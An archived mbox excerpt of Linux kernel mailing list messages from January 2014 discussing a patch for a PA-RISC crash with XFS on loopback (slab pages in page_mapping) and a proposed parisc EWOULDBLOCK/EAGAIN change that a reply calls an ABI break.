On Thu, 9 Jan 2014 09:13:31 +0900 Joonsoo Kim <iamjoonsoo.kim@lge.com> wrote:

> On Wed, Jan 08, 2014 at 01:59:30PM -0800, Andrew Morton wrote:
> > On Wed, 8 Jan 2014 23:37:49 +0200 Pekka Enberg <penberg@kernel.org> wrote:
> > 
> > > The patch looks good to me but it probably should go through Andrew's tree.
> > 
> > yup.
> > 
> > page_mapping() will be called quite frequently, and adding a new
> > test-n-branch in there will be somewhat costly.  We might end up with a
> > better kernel if we were to instead revert 8456a648cf44f.  How useful
> > was that patch?
> 
> Hello,
> 
> Performance effect of this patch was decribed in the cover-letter, but
> I missed to attach it to patch description. Sorry about that.
> 
> In summary, this patch saves some memory and decreases cache-footprint
> so that it increases performance.
> 
> Here goes the description in cover-letter.
> 
> ...
>
> cache-misses are reduced by this patchset, roughly 5%.
> And elapsed times are also improved by 3.1% to baseline.

ah, OK, thanks, useful.  A few instructions added to page_mapping()
won't have effects like that!
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Pekka Enberg <penberg@kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] fix crash when using XFS on loopback
Date: Thu, 9 Jan 2014 10:35:12 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <CAOJsxLF76+LhZ25hLqi7zgTbSuCR91nM8DW5Pv7MCvDymj1Tyg@mail.gmail.com>
References: <alpine.LRH.2.02.1401041241590.4648@file01.intranet.prod.int.rdu2.redhat.com>
	<20140106073549.GA25771@lge.com>
	<alpine.LRH.2.02.1401061237120.6190@file01.intranet.prod.int.rdu2.redhat.com>
	<20140107014159.GA26726@lge.com>
	<52CDBD94.9090808@gmx.de>
	<CAOJsxLGJbRrDOesdSFnYCt9GOyTGEF0TDWNux06C3OxJnuLFMg@mail.gmail.com>
	<20140108135930.9fc1d3a63eeb9a45dcbbb2e8@linux-foundation.org>
	<20140109001331.GA15738@lge.com>
	<20140108161936.d42bd6f7f5af528a841041d6@linux-foundation.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1389256522 9763 80.91.229.3 (9 Jan 2014 08:35:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Jan 2014 08:35:22 +0000 (UTC)
Cc: Joonsoo Kim <iamjoonsoo.kim@lge.com>, Helge Deller <deller@gmx.de>,
	Mikulas Patocka <mpatocka@redhat.com>,
	Andi Kleen <ak@linux.intel.com>,
	Christoph Lameter <cl@linux.com>,
	LKML <linux-kernel@vger.kernel.org>, linux-parisc@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jan 09 09:35:28 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1W1B5K-0006qI-Fn
	for glk-linux-kernel-3@plane.gmane.org; Thu, 09 Jan 2014 09:35:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755788AbaAIIfT (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 9 Jan 2014 03:35:19 -0500
Original-Received: from mail-wg0-f53.google.com ([74.125.82.53]:51558 "EHLO
	mail-wg0-f53.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752039AbaAIIfO (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 9 Jan 2014 03:35:14 -0500
Original-Received: by mail-wg0-f53.google.com with SMTP id k14so2427914wgh.8
        for <multiple recipients>; Thu, 09 Jan 2014 00:35:12 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=lDZH0U/gN19We2/jscsiwbCbzU72BxT+vGOULqRYKRw=;
        b=BFCDo8E0sBMWs91eZCe90+urxlcGKadNsVHdgNHuZEPVDI+BSbqqq+CgVhBEvBghX6
         0Kd6xT4T768KG9poLifenz/cwP6/W/QH5pYgsVIMgO37QllF3YQMXOY3S50yNL71a9Nj
         4ZNySsFDsiiaV8+oK/msFzmQk/NwlcSuTKupTUBqrSHCa/R+3BCLdl6SoyBG27LgToiz
         blGFS7IwB5aw9miI2WxAVGWYFVoomI9B54Dvlokck/2djbQrULwwGNa9sPkDAqGf8NaF
         P1LPzvwjqVbnG0mKD39KMqGoBB8ZuXQiWlyDwdx5itjGKKFOYbvbIJkmZQNAMgsVHVmi
         31jg==
X-Received: by 10.194.82.68 with SMTP id g4mr1524269wjy.85.1389256512509; Thu,
 09 Jan 2014 00:35:12 -0800 (PST)
Original-Received: by 10.216.127.198 with HTTP; Thu, 9 Jan 2014 00:35:12 -0800 (PST)
In-Reply-To: <20140108161936.d42bd6f7f5af528a841041d6@linux-foundation.org>
X-Google-Sender-Auth: qD18eD32-NWyO7WG6juzvWJSG9Q
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1625859 gmane.linux.ports.parisc:5601
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1625859>

On Thu, Jan 9, 2014 at 2:19 AM, Andrew Morton <akpm@linux-foundation.org> wrote:
>> cache-misses are reduced by this patchset, roughly 5%.
>> And elapsed times are also improved by 3.1% to baseline.
>
> ah, OK, thanks, useful.  A few instructions added to page_mapping()
> won't have effects like that!

Yup, I merged the series because the numbers were so impressive.

There's a link to the cover letter in merge commit 24f971a but it
would have been better to include them in the changelog itself.

                     Pekka

From - Thu Nov 08 21:10:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Simon Baatz <gmbnomis@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH] fix crash when using XFS on loopback
Date: Thu, 9 Jan 2014 09:49:52 +0100
Lines: 129
Approved: news@gmane.org
Message-ID: <20140109084951.GA9665@schnuecks.de>
References: <alpine.LRH.2.02.1401041241590.4648@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1389257394 19812 80.91.229.3 (9 Jan 2014 08:49:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Jan 2014 08:49:54 +0000 (UTC)
Cc: Joonsoo Kim <iamjoonsoo.kim@lge.com>,
	Andi Kleen <ak@linux.intel.com>,
	Christoph Lameter <cl@linux.com>,
	Pekka Enberg <penberg@iki.fi>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org,
	Russell King - ARM Linux <linux@arm.linux.org.uk>,
	linux-arm-kernel@lists.infradead.org
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 09 09:50:00 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W1BJO-0008MX-L5
	for glpp-linux-parisc@plane.gmane.org; Thu, 09 Jan 2014 09:49:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751508AbaAIIt5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 9 Jan 2014 03:49:57 -0500
Original-Received: from mail-ea0-f177.google.com ([209.85.215.177]:44998 "EHLO
	mail-ea0-f177.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751201AbaAIIt4 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 9 Jan 2014 03:49:56 -0500
Original-Received: by mail-ea0-f177.google.com with SMTP id n15so1305458ead.22
        for <multiple recipients>; Thu, 09 Jan 2014 00:49:54 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        bh=7HiTHv6xMpYVKLePLanp+/sgie/58wYBoBJ+bBlpr6E=;
        b=m/P/g9aUFfUGK76r45hJQw/UPwkpkk3LJOtqHhmf2GaBsZg/BeNTjigGulgSwik9ea
         0fY9Q97vsBmAH0MWpcRBkFhQ/xd2peco8W6BSNpDaAJOpMJJKIhhp9FvHzPHz2ifIUrd
         lfvaGgijdt/0psqyk4JtoI/7+qh8h7/k8T6VuXK/Lu9sJN9AYXd7uwLSpRoMAHK2qBe8
         8dPCWsA5/KjVyTH1byLPfFd8FXo9fBSwbuyqc7unRkoVJw5Enz+ZsxfSb8TnCROxC5SX
         pmwkuHzk7YGFmHbkyrw0YHZ+it3dbD95g5Ttw1qbg0AkWjfNSPdW59I1v7549EAPNC8f
         G28g==
X-Received: by 10.14.179.130 with SMTP id h2mr2147752eem.34.1389257394752;
        Thu, 09 Jan 2014 00:49:54 -0800 (PST)
Original-Received: from gandalf.schnuecks.de (p57A56658.dip0.t-ipconnect.de. [87.165.102.88])
        by mx.google.com with ESMTPSA id m1sm3504212eeg.0.2014.01.09.00.49.53
        for <multiple recipients>
        (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Thu, 09 Jan 2014 00:49:54 -0800 (PST)
Original-Received: by gandalf.schnuecks.de (Postfix, from userid 500)
	id 6832E4040F; Thu,  9 Jan 2014 09:49:52 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <alpine.LRH.2.02.1401041241590.4648@file01.intranet.prod.int.rdu2.redhat.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5602 gmane.linux.kernel:1625863 gmane.linux.ports.arm.kernel:293003
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5602>

Hi Mikulas,

On Sat, Jan 04, 2014 at 12:45:45PM -0500, Mikulas Patocka wrote:
> The patch 8456a648cf44f14365f1f44de90a3da2526a4776 causes crash in the
> LVM2 testsuite on PA-RISC (the crashing test is fsadm.sh). The testsuite
> doesn't crash on 3.12, crashes on 3.13-rc1 and later.
> 
>  Bad Address (null pointer deref?): Code=15 regs=000000413edd89a0 (Addr=000006202224647d)
>  CPU: 3 PID: 24008 Comm: loop0 Not tainted 3.13.0-rc6 #5
>  task: 00000001bf3c0048 ti: 000000413edd8000 task.ti: 000000413edd8000
> 
>       YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
>  PSW: 00001000000001101111100100001110 Not tainted
>  r00-03  000000ff0806f90e 00000000405c8de0 000000004013e6c0 000000413edd83f0
>  r04-07  00000000405a95e0 0000000000000200 00000001414735f0 00000001bf349e40
>  r08-11  0000000010fe3d10 0000000000000001 00000040829c7778 000000413efd9000
>  r12-15  0000000000000000 000000004060d800 0000000010fe3000 0000000010fe3000
>  r16-19  000000413edd82a0 00000041078ddbc0 0000000000000010 0000000000000001
>  r20-23  0008f3d0d83a8000 0000000000000000 00000040829c7778 0000000000000080
>  r24-27  00000001bf349e40 00000001bf349e40 202d66202224640d 00000000405a95e0
>  r28-31  202d662022246465 000000413edd88f0 000000413edd89a0 0000000000000001
>  sr00-03  000000000532c000 0000000000000000 0000000000000000 000000000532c000
>  sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
> 
>  IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000401fe42c 00000000401fe430
>   IIR: 539c0030    ISR: 00000000202d6000  IOR: 000006202224647d
>   CPU:        3   CR30: 000000413edd8000 CR31: 0000000000000000
>   ORIG_R28: 00000000405a95e0
>   IAOQ[0]: vma_interval_tree_iter_first+0x14/0x48
>   IAOQ[1]: vma_interval_tree_iter_first+0x18/0x48
>   RP(r2): flush_dcache_page+0x128/0x388
>  Backtrace:
>   [<000000004013e6c0>] flush_dcache_page+0x128/0x388
>   [<0000000010fe6ca0>] lo_splice_actor+0x90/0x148 [loop]
>   [<00000000402579b0>] splice_from_pipe_feed+0xc0/0x1d0
>   [<00000000402580a4>] __splice_from_pipe+0xac/0xc0
>   [<0000000010fe6bbc>] lo_direct_splice_actor+0x1c/0x70 [loop]
>   [<000000004025854c>] splice_direct_to_actor+0xec/0x228
>   [<0000000010fe63ac>] lo_receive+0xe4/0x298 [loop]
>   [<0000000010fe69d8>] loop_thread+0x478/0x640 [loop]
>   [<000000004018975c>] kthread+0x134/0x168
>   [<000000004012c020>] end_fault_vector+0x20/0x28
>   [<00000000115e0098>] xfs_setsize_buftarg+0x0/0x90 [xfs]
> 
>  Kernel panic - not syncing: Bad Address (null pointer deref?)
> 
> The patch 8456a648cf44f14365f1f44de90a3da2526a4776 changes the page
> structure so that the slab subsystem reuses the page->mapping field.
> 
> The crash happens in the following way:
> * XFS allocates some memory from slab and issues a bio to read data into
>   it.
> * the bio is sent to the loopback device.
> * lo_receive creates an actor and calls splice_direct_to_actor.
> * lo_splice_actor copies data to the target page.
> * lo_splice_actor calls flush_dcache_page because the page may be mapped
>   by userspace. In that case we need to flush the kernel cache.
> * flush_dcache_page asks for the list of userspace mappings, however that
>   page->mapping field is reused by the slab subsystem for a different
>   purpose. This causes the crash.
> 
> Note that other architectures without coherent caches (sparc, arm, mips)
> also call page_mapping from flush_dcache_page, so they may crash in the
> same way.
> 
> This patch fixes this bug by testing if the page is a slab page in
> page_mapping and returning NULL if it is.
> 
> 
> The patch also fixes VM_BUG_ON(PageSlab(page)) that could happen in
> earlier kernels in the same scenario on architectures without cache
> coherence when CONFIG_DEBUG_VM is enabled - so it should be backported to
> stable kernels.
> 
> 
> In the old kernels, the function page_mapping is placed in
> include/linux/mm.h, so you should modify the patch accordingly when
> backporting it.
> 
> 
> Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>
> Cc: stable@vger.kernel.org
> 
> ---
>  mm/util.c |    5 ++++-
>  1 file changed, 4 insertions(+), 1 deletion(-)
> 
> Index: linux-3.13-rc6/mm/util.c
> ===================================================================
> --- linux-3.13-rc6.orig/mm/util.c	2014-01-04 00:06:07.000000000 +0100
> +++ linux-3.13-rc6/mm/util.c	2014-01-04 00:24:42.000000000 +0100
> @@ -390,7 +390,10 @@ struct address_space *page_mapping(struc
>  {
>  	struct address_space *mapping = page->mapping;
>  
> -	VM_BUG_ON(PageSlab(page));
> +	/* This happens if someone calls flush_dcache_page on slab page */
> +	if (unlikely(PageSlab(page)))
> +		return NULL;
> +
>  	if (unlikely(PageSwapCache(page))) {
>  		swp_entry_t entry;

I don't think that this is the correct fix. According to cachetlb.txt
flush_(kernel_)dcache_page() is not supposed to be called with a slab
page in the first place.  There is code in the kernel to avoid that
(see for example the discussion in [1] and [2]).

Also on ARM, page_mapping() == NULL results in
flush_(kernel_)dcache_page() assuming that the page is an anon page. 
Consequently, it would flush the slab page, which make no sense.

Thus, I think we either need to add the check to the original caller
of flush_dcache_page() or we allow flush_(kernel_)dcache_page() to be
called with slab pages and put the check there (this has been
proposed by Russell King once [3], but would affect multiple
architectures)

- Simon


[1] https://lkml.org/lkml/2013/10/24/414
[2] https://lkml.org/lkml/2013/10/28/432
[3] https://lkml.org/lkml/2013/10/27/89
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:10:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:10:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:10:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] Make EWOULDBLOCK be equal to EAGAIN on parisc.
Date: Thu, 16 Jan 2014 17:17:53 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <7b86ec9f26dd9a18e7fae7a39e6a3382@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8;
 format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1389890002 28519 80.91.229.3 (16 Jan 2014 16:33:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 16 Jan 2014 16:33:22 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 16 17:33:27 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W3psc-0004yy-H4
	for glpp-linux-parisc@plane.gmane.org; Thu, 16 Jan 2014 17:33:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752120AbaAPQdS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 16 Jan 2014 11:33:18 -0500
Original-Received: from venus.vo.lu ([80.90.45.96]:58020 "EHLO venus.vo.lu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751890AbaAPQdR (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 16 Jan 2014 11:33:17 -0500
X-Greylist: delayed 905 seconds by postgrey-1.27 at vger.kernel.org; Thu, 16 Jan 2014 11:33:17 EST
Original-Received: from ibiza.lux.tuxicoman.be (vodsl-8217.vo.lu [85.93.199.25]) by venus.vo.lu with SMTP
	(version=TLS\Tls
	cipher=Aes128 bits=128);
   Thu, 16 Jan 2014 17:17:51 +0100
Original-Received: from cartman.lux.tuxicoman.be ([172.18.0.2] helo=webmail.tuxicoman.be)
	by ibiza.lux.tuxicoman.be with esmtp (Exim 4.80.1)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1W3pdh-0007I2-Oy
	for linux-parisc@vger.kernel.org; Thu, 16 Jan 2014 17:17:53 +0100
X-Sender: gmsoft@tuxicoman.be
User-Agent: Roundcube Webmail/0.9.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5606
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5606>

On Linux, only parisc uses a different value for EWOULDBLOCK which
causes a lot of troubles for applications not checking for both values.
Since the hpux compat is long dead, make EWOULDBLOCK behave the same as
all other architectures.

Signed-off-by: Guy Martin  <gmsoft@tuxicoman.be>
---
  arch/parisc/include/uapi/asm/errno.h | 2 +-
  1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/arch/parisc/include/uapi/asm/errno.h 
b/arch/parisc/include/uapi/asm/errno.h
index f3a8aa5..c0ae625 100644
--- a/arch/parisc/include/uapi/asm/errno.h
+++ b/arch/parisc/include/uapi/asm/errno.h
@@ -106,7 +106,7 @@

  #define	EALREADY	244	/* Operation already in progress */
  #define	EINPROGRESS	245	/* Operation now in progress */
-#define	EWOULDBLOCK	246	/* Operation would block (Linux returns EAGAIN) 
*/
+#define	EWOULDBLOCK	EAGAIN	/* Operation would block (Not HPUX 
compliant) */
  #define	ENOTEMPTY	247	/* Directory not empty */
  #define	ENAMETOOLONG	248	/* File name too long */
  #define	ELOOP		249	/* Too many symbolic links encountered */
-- 
1.8.3.2

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] Make EWOULDBLOCK be equal to EAGAIN on parisc.
Date: Thu, 16 Jan 2014 15:02:02 -0500
Lines: 42
Approved: news@gmane.org
Message-ID: <CAE2sS1gmD21qT=UPJEt9VfAnE=e-k=qwkQM0nUO0viMaJSm3ng@mail.gmail.com>
References: <7b86ec9f26dd9a18e7fae7a39e6a3382@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1389902521 23791 80.91.229.3 (16 Jan 2014 20:02:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 16 Jan 2014 20:02:01 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 16 21:02:05 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W3t8e-0002ju-Hq
	for glpp-linux-parisc@plane.gmane.org; Thu, 16 Jan 2014 21:02:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750994AbaAPUCE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 16 Jan 2014 15:02:04 -0500
Original-Received: from mail-oa0-f49.google.com ([209.85.219.49]:51994 "EHLO
	mail-oa0-f49.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750750AbaAPUCD (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 16 Jan 2014 15:02:03 -0500
Original-Received: by mail-oa0-f49.google.com with SMTP id i7so1205630oag.8
        for <linux-parisc@vger.kernel.org>; Thu, 16 Jan 2014 12:02:02 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-type;
        bh=9cj0JdPCVxC5huwriD4i1NhSd6pI3rSvkC0Ycqqk6II=;
        b=js30XMtPa5P9bnZ96RSyAj4jnR4FtOF1HbQcNvc/92b/WOFCw/CmytCXm2ZpEryJjx
         tghCy6BYElpC6nTFAYA1IvN9mm9udqLzjP+WFtO3UHuU+0IHi9Bba1ld5W8eViPwn0Rc
         t3IKdVgkDWUge62ej8aBuMRapHexT8thgZuMees/AsyY6m4ooE073H3qTVUnN5CQ4ISl
         gwSbGAu7LuB5Fv/CpkBo2gflRsWmS9r3Vft03CPBBMHPeA1ZXgLIr8QW54MBTkAOQgoR
         WyFyFmilLUWn5nc9S+2WNJmzvH7ADDM/03d61c4u7QlCvgfMKlSJixIBcwdMdvbk8pNB
         y4IQ==
X-Gm-Message-State: ALoCoQkXKcG1GyWkHFv0YaRAJWGkiU2O94QnA8ImYtTdToOcPfBXhlufWubZZzleLHNFdJk+l2Dj
X-Received: by 10.182.233.228 with SMTP id tz4mr8805482obc.56.1389902522178;
 Thu, 16 Jan 2014 12:02:02 -0800 (PST)
Original-Received: by 10.76.158.138 with HTTP; Thu, 16 Jan 2014 12:02:02 -0800 (PST)
X-Originating-IP: [204.11.82.140]
In-Reply-To: <7b86ec9f26dd9a18e7fae7a39e6a3382@tuxicoman.be>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5607
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5607>

On Thu, Jan 16, 2014 at 11:17 AM, Guy Martin <gmsoft@tuxicoman.be> wrote:
> On Linux, only parisc uses a different value for EWOULDBLOCK which
> causes a lot of troubles for applications not checking for both values.
> Since the hpux compat is long dead, make EWOULDBLOCK behave the same as
> all other architectures.
>
> Signed-off-by: Guy Martin  <gmsoft@tuxicoman.be>
> ---
>  arch/parisc/include/uapi/asm/errno.h | 2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
>
> diff --git a/arch/parisc/include/uapi/asm/errno.h
> b/arch/parisc/include/uapi/asm/errno.h
> index f3a8aa5..c0ae625 100644
> --- a/arch/parisc/include/uapi/asm/errno.h
> +++ b/arch/parisc/include/uapi/asm/errno.h
> @@ -106,7 +106,7 @@
>
>  #define        EALREADY        244     /* Operation already in progress */
>  #define        EINPROGRESS     245     /* Operation now in progress */
> -#define        EWOULDBLOCK     246     /* Operation would block (Linux
> returns EAGAIN) */
> +#define        EWOULDBLOCK     EAGAIN  /* Operation would block (Not HPUX
> compliant) */
>  #define        ENOTEMPTY       247     /* Directory not empty */
>  #define        ENAMETOOLONG    248     /* File name too long */
>  #define        ELOOP           249     /* Too many symbolic links
> encountered */

This is an ABI break.

You can't do this without rebuilding userspace.

You need debian an gentoo onboard to do this ABI break.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] Make EWOULDBLOCK be equal to EAGAIN on parisc.
Date: Thu, 16 Jan 2014 15:49:03 -0500
Lines: 49
Approved: news@gmane.org
Message-ID: <BLU0-SMTP89CC166E31998D28320EA697B90@phx.gbl>
References: <7b86ec9f26dd9a18e7fae7a39e6a3382@tuxicoman.be> <CAE2sS1gmD21qT=UPJEt9VfAnE=e-k=qwkQM0nUO0viMaJSm3ng@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1389905336 27022 80.91.229.3 (16 Jan 2014 20:48:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 16 Jan 2014 20:48:56 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>,
	Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 16 21:49:03 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W3ts4-0003HP-He
	for glpp-linux-parisc@plane.gmane.org; Thu, 16 Jan 2014 21:49:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751752AbaAPUs6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 16 Jan 2014 15:48:58 -0500
Original-Received: from blu0-omc4-s36.blu0.hotmail.com ([65.55.111.175]:34091 "EHLO
	blu0-omc4-s36.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751725AbaAPUs4 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 16 Jan 2014 15:48:56 -0500
Original-Received: from BLU0-SMTP89 ([65.55.111.135]) by blu0-omc4-s36.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Thu, 16 Jan 2014 12:48:56 -0800
X-TMN: [J10JMRWUsHVnFYx9O1tNIGBwgRc+YmUt]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.0.181] ([64.228.202.191]) by BLU0-SMTP89.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Thu, 16 Jan 2014 12:48:54 -0800
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.2.0
In-Reply-To: <CAE2sS1gmD21qT=UPJEt9VfAnE=e-k=qwkQM0nUO0viMaJSm3ng@mail.gmail.com>
X-OriginalArrivalTime: 16 Jan 2014 20:48:54.0857 (UTC) FILETIME=[5ECCC390:01CF12FC]
